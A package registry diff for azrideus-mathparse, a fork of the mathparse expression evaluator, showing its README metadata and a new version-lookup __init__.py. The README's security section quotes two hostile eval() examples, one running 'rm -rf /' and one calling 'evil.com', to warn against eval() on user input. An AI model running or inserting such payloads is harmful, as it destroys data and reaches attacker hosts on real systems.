azrideus-mathparse 0.2.17__tar.gz → 0.2.19__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (36) hide show
  1. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/PKG-INFO +125 -125
  2. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/azrideus_mathparse.egg-info/PKG-INFO +125 -125
  3. azrideus_mathparse-0.2.19/mathparse/__init__.py +12 -0
  4. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/mathparse/evaluator.py +250 -239
  5. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/mathparse/mathparse.py +7 -2
  6. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/pyproject.toml +1 -4
  7. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/setup.cfg +4 -4
  8. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/tests/test_binary_operations.py +404 -345
  9. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/tests/test_comparison_operations.py +138 -138
  10. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/tests/test_prefix_unary_operations.py +8 -7
  11. azrideus_mathparse-0.2.17/mathparse/__init__.py +0 -5
  12. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/LICENSE +0 -0
  13. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/README.md +0 -0
  14. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/azrideus_mathparse.egg-info/SOURCES.txt +0 -0
  15. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/azrideus_mathparse.egg-info/dependency_links.txt +0 -0
  16. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/azrideus_mathparse.egg-info/requires.txt +0 -0
  17. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/azrideus_mathparse.egg-info/top_level.txt +0 -0
  18. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/mathparse/exceptions.py +0 -0
  19. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/mathparse/extraction.py +0 -0
  20. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/mathparse/limits.py +0 -0
  21. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/mathparse/mathwords.py +0 -0
  22. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/mathparse/patterns.py +0 -0
  23. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/mathparse/postfix.py +0 -0
  24. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/mathparse/tokenizer.py +0 -0
  25. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/mathparse/tokens.py +0 -0
  26. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/mathparse/word_tokens.py +0 -0
  27. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/tests/test_bitshift_operations.py +0 -0
  28. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/tests/test_bitwise_operations.py +0 -0
  29. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/tests/test_complex_statements.py +0 -0
  30. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/tests/test_hex_numbers.py +0 -0
  31. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/tests/test_language_support.py +0 -0
  32. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/tests/test_limits.py +0 -0
  33. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/tests/test_replace_word_tokens.py +0 -0
  34. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/tests/test_simplified_chinese.py +0 -0
  35. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/tests/test_unary_operations.py +0 -0
  36. {azrideus_mathparse-0.2.17 → azrideus_mathparse-0.2.19}/tests/test_utils.py +0 -0
@@ -1,125 +1,125 @@
1
- Metadata-Version: 2.4
2
- Name: azrideus-mathparse
3
- Version: 0.2.17
4
- Summary: A fork of mathparse (https://github.com/gunthercox/mathparse) for my own usage; a library for solving mathematical equations contained in strings
5
- Author: Gunther Cox
6
- License-Expression: MIT
7
- Project-URL: Documentation, https://mathparse.chatterbot.us
8
- Project-URL: Repository, https://github.com/gunthercox/mathparse
9
- Project-URL: Changelog, https://github.com/gunthercox/mathparse/releases
10
- Keywords: mathparse,mathematics,math,nlp,calculator,expression-parser,eval-alternative,safe-eval,multilingual,natural-language,postfix-notation,reverse-polish-notation,rpn,math-parser,expression-evaluator,secure-evaluation,language-processing,mathematical-expressions,formula-parser
11
- Classifier: Development Status :: 4 - Beta
12
- Classifier: Intended Audience :: Developers
13
- Classifier: Operating System :: OS Independent
14
- Classifier: Topic :: Software Development :: Libraries :: Python Modules
15
- Classifier: Topic :: Scientific/Engineering :: Mathematics
16
- Classifier: Topic :: Text Processing :: General
17
- Classifier: Topic :: Text Processing :: Linguistic
18
- Classifier: Programming Language :: Python
19
- Requires-Python: <3.15,>=3.10
20
- Description-Content-Type: text/markdown
21
- License-File: LICENSE
22
- Provides-Extra: test
23
- Requires-Dist: flake8; extra == "test"
24
- Requires-Dist: sphinx<9.0,>=7.4; extra == "test"
25
- Dynamic: license-file
26
-
27
- # mathparse
28
-
29
- **A secure, multilingual mathematical expression evaluator for Python**
30
-
31
- `mathparse` is a Python library that safely parses and evaluates mathematical expressions from strings, supporting both numeric operators and natural language words across 13+ languages. Unlike Python's dangerous `eval()` function, mathparse provides a secure, zero-dependency solution for evaluating user-provided mathematical expressions.
32
-
33
- ## Why mathparse?
34
-
35
- ✅ **Security First** - Never uses `eval()`, protecting against arbitrary code execution
36
- ✅ **Multilingual Support** - Parse math in English, Spanish, French, German, Chinese, and 8+ more languages
37
- ✅ **Zero Dependencies** - Pure Python implementation with no external requirements
38
- ✅ **Natural Language** - Understands "fifty times twenty plus ten" alongside standard notation
39
- ✅ **Production Ready** - Used in chatbots, calculators, voice assistants, and educational applications
40
- ✅ **Well Tested** - Comprehensive test suite ensuring reliability
41
-
42
- ## Quick Examples
43
-
44
- ```python
45
- from mathparse import mathparse
46
-
47
- # Standard numeric expressions
48
- mathparse.parse('50 * (85 / 100)')
49
- >>> 42.5
50
-
51
- # Natural language in English
52
- mathparse.parse('one hundred times fifty four', language='ENG')
53
- >>> 5400
54
-
55
- # Mixed notation
56
- mathparse.parse('(seven * nine) + 8 - (45 plus two)', language='ENG')
57
- >>> 24
58
-
59
- # Other languages (French, Spanish, German, Chinese, etc.)
60
- mathparse.parse('cinq plus trois', language='FRE')
61
- >>> 8
62
-
63
- mathparse.parse('cinco más tres', language='ESP')
64
- >>> 8
65
- ```
66
-
67
- ## Use Cases
68
-
69
- - 🤖 **Chatbots & Voice Assistants** - Parse natural language math queries
70
- - 🧮 **Calculator Applications** - Build safe calculators that accept text input
71
- - 📚 **Educational Software** - Evaluate student-provided math expressions
72
- - 🌐 **Multilingual Apps** - Support math parsing in users' native languages
73
- - 🔐 **Secure Code Evaluation** - Replace dangerous `eval()` calls with safe parsing
74
- - 📊 **Data Processing** - Extract and calculate values from natural language text
75
-
76
- ## Security: Why Not eval()?
77
-
78
- Python's `eval()` function executes arbitrary code, creating severe security vulnerabilities:
79
-
80
- ```python
81
- # DANGEROUS - Never do this with user input!
82
- eval("__import__('os').system('rm -rf /')") # Deletes files
83
- eval("__import__('requests').get('evil.com')") # Network access
84
- ```
85
-
86
- **mathparse is the safe alternative:**
87
-
88
- | Feature | eval() | mathparse |
89
- |---------|--------|-----------|
90
- | Mathematical expressions | ✅ | ✅ |
91
- | Arbitrary code execution | ⚠️ **YES - DANGEROUS** | ❌ No |
92
- | File system access | ⚠️ **YES - DANGEROUS** | ❌ No |
93
- | Network access | ⚠️ **YES - DANGEROUS** | ❌ No |
94
- | Import statements | ⚠️ **YES - DANGEROUS** | ❌ No |
95
- | Security risk | 🔴 **CRITICAL** | 🟢 Safe |
96
- | Dependencies | 0 | 0 |
97
- | Natural language support | ❌ No | ✅ Yes |
98
- | Multilingual | ❌ No | ✅ 13+ languages |
99
-
100
- mathparse uses [postfix (Reverse Polish) notation](https://mathparse.chatterbot.us/postfix/) internally, ensuring only valid mathematical operations are performed. See our [security documentation](https://mathparse.chatterbot.us/postfix/) for technical details.
101
-
102
- ## Performance
103
-
104
- - **Fast**: Simple numeric expressions parse in microseconds
105
- - **Efficient**: Minimal memory footprint, suitable for high-volume applications
106
- - **Scalable**: Linear time complexity for expression evaluation
107
-
108
- ## Language Support
109
-
110
- The language parameter must be set in order to evaluate an equation that uses word operators.
111
- The language code should be a valid [ISO 639-2](https://www.loc.gov/standards/iso639-2/php/code_list.php) language code.
112
-
113
- ## Installation
114
-
115
- ```bash
116
- pip install mathparse
117
- ```
118
-
119
- ## Documentation
120
-
121
- See the full documentation at https://mathparse.chatterbot.us
122
-
123
- ## Changelog
124
-
125
- See [release notes](https://github.com/gunthercox/mathparse/releases) for changes.
1
+ Metadata-Version: 2.4
2
+ Name: azrideus-mathparse
3
+ Version: 0.2.19
4
+ Summary: A fork of mathparse (https://github.com/gunthercox/mathparse) for my own usage; a library for solving mathematical equations contained in strings
5
+ Author: Gunther Cox
6
+ License-Expression: MIT
7
+ Project-URL: Documentation, https://mathparse.chatterbot.us
8
+ Project-URL: Repository, https://github.com/gunthercox/mathparse
9
+ Project-URL: Changelog, https://github.com/gunthercox/mathparse/releases
10
+ Keywords: mathparse,mathematics,math,nlp,calculator,expression-parser,eval-alternative,safe-eval,multilingual,natural-language,postfix-notation,reverse-polish-notation,rpn,math-parser,expression-evaluator,secure-evaluation,language-processing,mathematical-expressions,formula-parser
11
+ Classifier: Development Status :: 4 - Beta
12
+ Classifier: Intended Audience :: Developers
13
+ Classifier: Operating System :: OS Independent
14
+ Classifier: Topic :: Software Development :: Libraries :: Python Modules
15
+ Classifier: Topic :: Scientific/Engineering :: Mathematics
16
+ Classifier: Topic :: Text Processing :: General
17
+ Classifier: Topic :: Text Processing :: Linguistic
18
+ Classifier: Programming Language :: Python
19
+ Requires-Python: <3.15,>=3.10
20
+ Description-Content-Type: text/markdown
21
+ License-File: LICENSE
22
+ Provides-Extra: test
23
+ Requires-Dist: flake8; extra == "test"
24
+ Requires-Dist: sphinx<9.0,>=7.4; extra == "test"
25
+ Dynamic: license-file
26
+
27
+ # mathparse
28
+
29
+ **A secure, multilingual mathematical expression evaluator for Python**
30
+
31
+ `mathparse` is a Python library that safely parses and evaluates mathematical expressions from strings, supporting both numeric operators and natural language words across 13+ languages. Unlike Python's dangerous `eval()` function, mathparse provides a secure, zero-dependency solution for evaluating user-provided mathematical expressions.
32
+
33
+ ## Why mathparse?
34
+
35
+ ✅ **Security First** - Never uses `eval()`, protecting against arbitrary code execution
36
+ ✅ **Multilingual Support** - Parse math in English, Spanish, French, German, Chinese, and 8+ more languages
37
+ ✅ **Zero Dependencies** - Pure Python implementation with no external requirements
38
+ ✅ **Natural Language** - Understands "fifty times twenty plus ten" alongside standard notation
39
+ ✅ **Production Ready** - Used in chatbots, calculators, voice assistants, and educational applications
40
+ ✅ **Well Tested** - Comprehensive test suite ensuring reliability
41
+
42
+ ## Quick Examples
43
+
44
+ ```python
45
+ from mathparse import mathparse
46
+
47
+ # Standard numeric expressions
48
+ mathparse.parse('50 * (85 / 100)')
49
+ >>> 42.5
50
+
51
+ # Natural language in English
52
+ mathparse.parse('one hundred times fifty four', language='ENG')
53
+ >>> 5400
54
+
55
+ # Mixed notation
56
+ mathparse.parse('(seven * nine) + 8 - (45 plus two)', language='ENG')
57
+ >>> 24
58
+
59
+ # Other languages (French, Spanish, German, Chinese, etc.)
60
+ mathparse.parse('cinq plus trois', language='FRE')
61
+ >>> 8
62
+
63
+ mathparse.parse('cinco más tres', language='ESP')
64
+ >>> 8
65
+ ```
66
+
67
+ ## Use Cases
68
+
69
+ - 🤖 **Chatbots & Voice Assistants** - Parse natural language math queries
70
+ - 🧮 **Calculator Applications** - Build safe calculators that accept text input
71
+ - 📚 **Educational Software** - Evaluate student-provided math expressions
72
+ - 🌐 **Multilingual Apps** - Support math parsing in users' native languages
73
+ - 🔐 **Secure Code Evaluation** - Replace dangerous `eval()` calls with safe parsing
74
+ - 📊 **Data Processing** - Extract and calculate values from natural language text
75
+
76
+ ## Security: Why Not eval()?
77
+
78
+ Python's `eval()` function executes arbitrary code, creating severe security vulnerabilities:
79
+
80
+ ```python
81
+ # DANGEROUS - Never do this with user input!
82
+ eval("__import__('os').system('rm -rf /')") # Deletes files
83
+ eval("__import__('requests').get('evil.com')") # Network access
84
+ ```
85
+
86
+ **mathparse is the safe alternative:**
87
+
88
+ | Feature | eval() | mathparse |
89
+ |---------|--------|-----------|
90
+ | Mathematical expressions | ✅ | ✅ |
91
+ | Arbitrary code execution | ⚠️ **YES - DANGEROUS** | ❌ No |
92
+ | File system access | ⚠️ **YES - DANGEROUS** | ❌ No |
93
+ | Network access | ⚠️ **YES - DANGEROUS** | ❌ No |
94
+ | Import statements | ⚠️ **YES - DANGEROUS** | ❌ No |
95
+ | Security risk | 🔴 **CRITICAL** | 🟢 Safe |
96
+ | Dependencies | 0 | 0 |
97
+ | Natural language support | ❌ No | ✅ Yes |
98
+ | Multilingual | ❌ No | ✅ 13+ languages |
99
+
100
+ mathparse uses [postfix (Reverse Polish) notation](https://mathparse.chatterbot.us/postfix/) internally, ensuring only valid mathematical operations are performed. See our [security documentation](https://mathparse.chatterbot.us/postfix/) for technical details.
101
+
102
+ ## Performance
103
+
104
+ - **Fast**: Simple numeric expressions parse in microseconds
105
+ - **Efficient**: Minimal memory footprint, suitable for high-volume applications
106
+ - **Scalable**: Linear time complexity for expression evaluation
107
+
108
+ ## Language Support
109
+
110
+ The language parameter must be set in order to evaluate an equation that uses word operators.
111
+ The language code should be a valid [ISO 639-2](https://www.loc.gov/standards/iso639-2/php/code_list.php) language code.
112
+
113
+ ## Installation
114
+
115
+ ```bash
116
+ pip install mathparse
117
+ ```
118
+
119
+ ## Documentation
120
+
121
+ See the full documentation at https://mathparse.chatterbot.us
122
+
123
+ ## Changelog
124
+
125
+ See [release notes](https://github.com/gunthercox/mathparse/releases) for changes.
@@ -1,125 +1,125 @@
1
- Metadata-Version: 2.4
2
- Name: azrideus-mathparse
3
- Version: 0.2.17
4
- Summary: A fork of mathparse (https://github.com/gunthercox/mathparse) for my own usage; a library for solving mathematical equations contained in strings
5
- Author: Gunther Cox
6
- License-Expression: MIT
7
- Project-URL: Documentation, https://mathparse.chatterbot.us
8
- Project-URL: Repository, https://github.com/gunthercox/mathparse
9
- Project-URL: Changelog, https://github.com/gunthercox/mathparse/releases
10
- Keywords: mathparse,mathematics,math,nlp,calculator,expression-parser,eval-alternative,safe-eval,multilingual,natural-language,postfix-notation,reverse-polish-notation,rpn,math-parser,expression-evaluator,secure-evaluation,language-processing,mathematical-expressions,formula-parser
11
- Classifier: Development Status :: 4 - Beta
12
- Classifier: Intended Audience :: Developers
13
- Classifier: Operating System :: OS Independent
14
- Classifier: Topic :: Software Development :: Libraries :: Python Modules
15
- Classifier: Topic :: Scientific/Engineering :: Mathematics
16
- Classifier: Topic :: Text Processing :: General
17
- Classifier: Topic :: Text Processing :: Linguistic
18
- Classifier: Programming Language :: Python
19
- Requires-Python: <3.15,>=3.10
20
- Description-Content-Type: text/markdown
21
- License-File: LICENSE
22
- Provides-Extra: test
23
- Requires-Dist: flake8; extra == "test"
24
- Requires-Dist: sphinx<9.0,>=7.4; extra == "test"
25
- Dynamic: license-file
26
-
27
- # mathparse
28
-
29
- **A secure, multilingual mathematical expression evaluator for Python**
30
-
31
- `mathparse` is a Python library that safely parses and evaluates mathematical expressions from strings, supporting both numeric operators and natural language words across 13+ languages. Unlike Python's dangerous `eval()` function, mathparse provides a secure, zero-dependency solution for evaluating user-provided mathematical expressions.
32
-
33
- ## Why mathparse?
34
-
35
- ✅ **Security First** - Never uses `eval()`, protecting against arbitrary code execution
36
- ✅ **Multilingual Support** - Parse math in English, Spanish, French, German, Chinese, and 8+ more languages
37
- ✅ **Zero Dependencies** - Pure Python implementation with no external requirements
38
- ✅ **Natural Language** - Understands "fifty times twenty plus ten" alongside standard notation
39
- ✅ **Production Ready** - Used in chatbots, calculators, voice assistants, and educational applications
40
- ✅ **Well Tested** - Comprehensive test suite ensuring reliability
41
-
42
- ## Quick Examples
43
-
44
- ```python
45
- from mathparse import mathparse
46
-
47
- # Standard numeric expressions
48
- mathparse.parse('50 * (85 / 100)')
49
- >>> 42.5
50
-
51
- # Natural language in English
52
- mathparse.parse('one hundred times fifty four', language='ENG')
53
- >>> 5400
54
-
55
- # Mixed notation
56
- mathparse.parse('(seven * nine) + 8 - (45 plus two)', language='ENG')
57
- >>> 24
58
-
59
- # Other languages (French, Spanish, German, Chinese, etc.)
60
- mathparse.parse('cinq plus trois', language='FRE')
61
- >>> 8
62
-
63
- mathparse.parse('cinco más tres', language='ESP')
64
- >>> 8
65
- ```
66
-
67
- ## Use Cases
68
-
69
- - 🤖 **Chatbots & Voice Assistants** - Parse natural language math queries
70
- - 🧮 **Calculator Applications** - Build safe calculators that accept text input
71
- - 📚 **Educational Software** - Evaluate student-provided math expressions
72
- - 🌐 **Multilingual Apps** - Support math parsing in users' native languages
73
- - 🔐 **Secure Code Evaluation** - Replace dangerous `eval()` calls with safe parsing
74
- - 📊 **Data Processing** - Extract and calculate values from natural language text
75
-
76
- ## Security: Why Not eval()?
77
-
78
- Python's `eval()` function executes arbitrary code, creating severe security vulnerabilities:
79
-
80
- ```python
81
- # DANGEROUS - Never do this with user input!
82
- eval("__import__('os').system('rm -rf /')") # Deletes files
83
- eval("__import__('requests').get('evil.com')") # Network access
84
- ```
85
-
86
- **mathparse is the safe alternative:**
87
-
88
- | Feature | eval() | mathparse |
89
- |---------|--------|-----------|
90
- | Mathematical expressions | ✅ | ✅ |
91
- | Arbitrary code execution | ⚠️ **YES - DANGEROUS** | ❌ No |
92
- | File system access | ⚠️ **YES - DANGEROUS** | ❌ No |
93
- | Network access | ⚠️ **YES - DANGEROUS** | ❌ No |
94
- | Import statements | ⚠️ **YES - DANGEROUS** | ❌ No |
95
- | Security risk | 🔴 **CRITICAL** | 🟢 Safe |
96
- | Dependencies | 0 | 0 |
97
- | Natural language support | ❌ No | ✅ Yes |
98
- | Multilingual | ❌ No | ✅ 13+ languages |
99
-
100
- mathparse uses [postfix (Reverse Polish) notation](https://mathparse.chatterbot.us/postfix/) internally, ensuring only valid mathematical operations are performed. See our [security documentation](https://mathparse.chatterbot.us/postfix/) for technical details.
101
-
102
- ## Performance
103
-
104
- - **Fast**: Simple numeric expressions parse in microseconds
105
- - **Efficient**: Minimal memory footprint, suitable for high-volume applications
106
- - **Scalable**: Linear time complexity for expression evaluation
107
-
108
- ## Language Support
109
-
110
- The language parameter must be set in order to evaluate an equation that uses word operators.
111
- The language code should be a valid [ISO 639-2](https://www.loc.gov/standards/iso639-2/php/code_list.php) language code.
112
-
113
- ## Installation
114
-
115
- ```bash
116
- pip install mathparse
117
- ```
118
-
119
- ## Documentation
120
-
121
- See the full documentation at https://mathparse.chatterbot.us
122
-
123
- ## Changelog
124
-
125
- See [release notes](https://github.com/gunthercox/mathparse/releases) for changes.
1
+ Metadata-Version: 2.4
2
+ Name: azrideus-mathparse
3
+ Version: 0.2.19
4
+ Summary: A fork of mathparse (https://github.com/gunthercox/mathparse) for my own usage; a library for solving mathematical equations contained in strings
5
+ Author: Gunther Cox
6
+ License-Expression: MIT
7
+ Project-URL: Documentation, https://mathparse.chatterbot.us
8
+ Project-URL: Repository, https://github.com/gunthercox/mathparse
9
+ Project-URL: Changelog, https://github.com/gunthercox/mathparse/releases
10
+ Keywords: mathparse,mathematics,math,nlp,calculator,expression-parser,eval-alternative,safe-eval,multilingual,natural-language,postfix-notation,reverse-polish-notation,rpn,math-parser,expression-evaluator,secure-evaluation,language-processing,mathematical-expressions,formula-parser
11
+ Classifier: Development Status :: 4 - Beta
12
+ Classifier: Intended Audience :: Developers
13
+ Classifier: Operating System :: OS Independent
14
+ Classifier: Topic :: Software Development :: Libraries :: Python Modules
15
+ Classifier: Topic :: Scientific/Engineering :: Mathematics
16
+ Classifier: Topic :: Text Processing :: General
17
+ Classifier: Topic :: Text Processing :: Linguistic
18
+ Classifier: Programming Language :: Python
19
+ Requires-Python: <3.15,>=3.10
20
+ Description-Content-Type: text/markdown
21
+ License-File: LICENSE
22
+ Provides-Extra: test
23
+ Requires-Dist: flake8; extra == "test"
24
+ Requires-Dist: sphinx<9.0,>=7.4; extra == "test"
25
+ Dynamic: license-file
26
+
27
+ # mathparse
28
+
29
+ **A secure, multilingual mathematical expression evaluator for Python**
30
+
31
+ `mathparse` is a Python library that safely parses and evaluates mathematical expressions from strings, supporting both numeric operators and natural language words across 13+ languages. Unlike Python's dangerous `eval()` function, mathparse provides a secure, zero-dependency solution for evaluating user-provided mathematical expressions.
32
+
33
+ ## Why mathparse?
34
+
35
+ ✅ **Security First** - Never uses `eval()`, protecting against arbitrary code execution
36
+ ✅ **Multilingual Support** - Parse math in English, Spanish, French, German, Chinese, and 8+ more languages
37
+ ✅ **Zero Dependencies** - Pure Python implementation with no external requirements
38
+ ✅ **Natural Language** - Understands "fifty times twenty plus ten" alongside standard notation
39
+ ✅ **Production Ready** - Used in chatbots, calculators, voice assistants, and educational applications
40
+ ✅ **Well Tested** - Comprehensive test suite ensuring reliability
41
+
42
+ ## Quick Examples
43
+
44
+ ```python
45
+ from mathparse import mathparse
46
+
47
+ # Standard numeric expressions
48
+ mathparse.parse('50 * (85 / 100)')
49
+ >>> 42.5
50
+
51
+ # Natural language in English
52
+ mathparse.parse('one hundred times fifty four', language='ENG')
53
+ >>> 5400
54
+
55
+ # Mixed notation
56
+ mathparse.parse('(seven * nine) + 8 - (45 plus two)', language='ENG')
57
+ >>> 24
58
+
59
+ # Other languages (French, Spanish, German, Chinese, etc.)
60
+ mathparse.parse('cinq plus trois', language='FRE')
61
+ >>> 8
62
+
63
+ mathparse.parse('cinco más tres', language='ESP')
64
+ >>> 8
65
+ ```
66
+
67
+ ## Use Cases
68
+
69
+ - 🤖 **Chatbots & Voice Assistants** - Parse natural language math queries
70
+ - 🧮 **Calculator Applications** - Build safe calculators that accept text input
71
+ - 📚 **Educational Software** - Evaluate student-provided math expressions
72
+ - 🌐 **Multilingual Apps** - Support math parsing in users' native languages
73
+ - 🔐 **Secure Code Evaluation** - Replace dangerous `eval()` calls with safe parsing
74
+ - 📊 **Data Processing** - Extract and calculate values from natural language text
75
+
76
+ ## Security: Why Not eval()?
77
+
78
+ Python's `eval()` function executes arbitrary code, creating severe security vulnerabilities:
79
+
80
+ ```python
81
+ # DANGEROUS - Never do this with user input!
82
+ eval("__import__('os').system('rm -rf /')") # Deletes files
83
+ eval("__import__('requests').get('evil.com')") # Network access
84
+ ```
85
+
86
+ **mathparse is the safe alternative:**
87
+
88
+ | Feature | eval() | mathparse |
89
+ |---------|--------|-----------|
90
+ | Mathematical expressions | ✅ | ✅ |
91
+ | Arbitrary code execution | ⚠️ **YES - DANGEROUS** | ❌ No |
92
+ | File system access | ⚠️ **YES - DANGEROUS** | ❌ No |
93
+ | Network access | ⚠️ **YES - DANGEROUS** | ❌ No |
94
+ | Import statements | ⚠️ **YES - DANGEROUS** | ❌ No |
95
+ | Security risk | 🔴 **CRITICAL** | 🟢 Safe |
96
+ | Dependencies | 0 | 0 |
97
+ | Natural language support | ❌ No | ✅ Yes |
98
+ | Multilingual | ❌ No | ✅ 13+ languages |
99
+
100
+ mathparse uses [postfix (Reverse Polish) notation](https://mathparse.chatterbot.us/postfix/) internally, ensuring only valid mathematical operations are performed. See our [security documentation](https://mathparse.chatterbot.us/postfix/) for technical details.
101
+
102
+ ## Performance
103
+
104
+ - **Fast**: Simple numeric expressions parse in microseconds
105
+ - **Efficient**: Minimal memory footprint, suitable for high-volume applications
106
+ - **Scalable**: Linear time complexity for expression evaluation
107
+
108
+ ## Language Support
109
+
110
+ The language parameter must be set in order to evaluate an equation that uses word operators.
111
+ The language code should be a valid [ISO 639-2](https://www.loc.gov/standards/iso639-2/php/code_list.php) language code.
112
+
113
+ ## Installation
114
+
115
+ ```bash
116
+ pip install mathparse
117
+ ```
118
+
119
+ ## Documentation
120
+
121
+ See the full documentation at https://mathparse.chatterbot.us
122
+
123
+ ## Changelog
124
+
125
+ See [release notes](https://github.com/gunthercox/mathparse/releases) for changes.
@@ -0,0 +1,12 @@
1
+ """
2
+ mathparse is a library for solving mathematical equations contained in strings
3
+ """
4
+
5
+ from importlib.metadata import PackageNotFoundError, version
6
+
7
+ # The version is set in pyproject.toml
8
+ try:
9
+ __version__ = version("azrideus-mathparse")
10
+ except PackageNotFoundError:
11
+ # Running from a source checkout that is not installed
12
+ __version__ = "unknown"